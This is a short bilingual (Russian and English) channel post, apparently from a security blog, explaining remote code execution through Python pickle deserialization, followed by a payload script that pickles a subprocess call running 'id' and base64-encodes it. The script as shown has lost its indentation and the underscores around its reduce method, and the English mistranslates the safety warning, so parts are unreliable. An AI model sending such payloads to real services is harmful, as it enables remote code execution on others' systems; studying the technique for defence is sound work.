TGViewer
Monkey Hacker Monkey Hacker @monkey_hacker · 785 subscribers
Post #48 1.13K
Python Deserialization via Pickle

# RU

У Python есть несколько методов сериализации объектов: Marshall и Pickle
Модуль Pickle реализует двоичные протоколы для сериализации и десериализации объектов Python. Однако модуль Pickle не является безопасным и лучше распаковывать только те данные, которым вы доверяете.

Для эксплуатации мы будем использовать следующий метод:
pickle.dumps(obj)

Помимо этого есть еще библиотека pickletools

Этот модуль содержит различные методы, относящиеся к внутренним деталям модуля pickle

Здесь нам потребуются два метода:
pickletools.optimize()
pickletools.dis()

Теперь мы можем сделать свой пэйлоад для получения RCE. Кстати чтобы также сериализовался наш пэйлоад, то мы используем reduce в нашем классе


# EN


P
ython has several methods for serializing objects: Marshall and Pickle
The Pickle module implements binary protocols for serializing and deserializing Python objects. However, the Pickle module is not secure and will only decompress data that you trust.

We will use the following method to exploit it:
pickle.dumps(obj)

Apart from that there is also the pickletools library.

This module contains various methods related to the pickle module's internals

Here we need two methods:
pickletools.optimize()
pickletools.dis()

Now we can make our own payload to get the RCE. By the way, to serialize our payload as well, we use reduce in our class

PAYLOAD

import base64
import pickle
import pickletools
import subprocess
class anti_pickle_serum:
def reduce(self):
command = ['id']
return subprocess.check_output, (command,)
exploit_obj = anti_pickle_serum()
raw_pickle = pickle.dumps({"serum" : exploit_obj}, protocol=0)
optimized_pickle = pickletools.optimize(raw_pickle)
pickletools.dis(optimized_pickle)
payload = base64.b64encode(raw_pickle)
print(payload)


THX:

https://docs.python.org/3/library/pickle.html

https://davidhamann.de/2020/04/05/exploiting-python-pickle/

https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd
  • 🔥 2
More from @monkey_hacker
  1. Aug 28, 2024First hop, second hop Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем…
  2. Apr 10, 2024Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - по…
  3. Apr 10, 2024У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэто…
  4. Apr 8, 2024Kubectl apply Йо, сегодня я принес несколько ссылочек, где можно почитать про работу разли…
  5. Jan 16, 2024Oh yes, ping pong Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял…
  6. Dec 31, 2023Пора и мне сказать что-то ✨ В этом году я очень старался повысить свои навыки, а вы могли…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →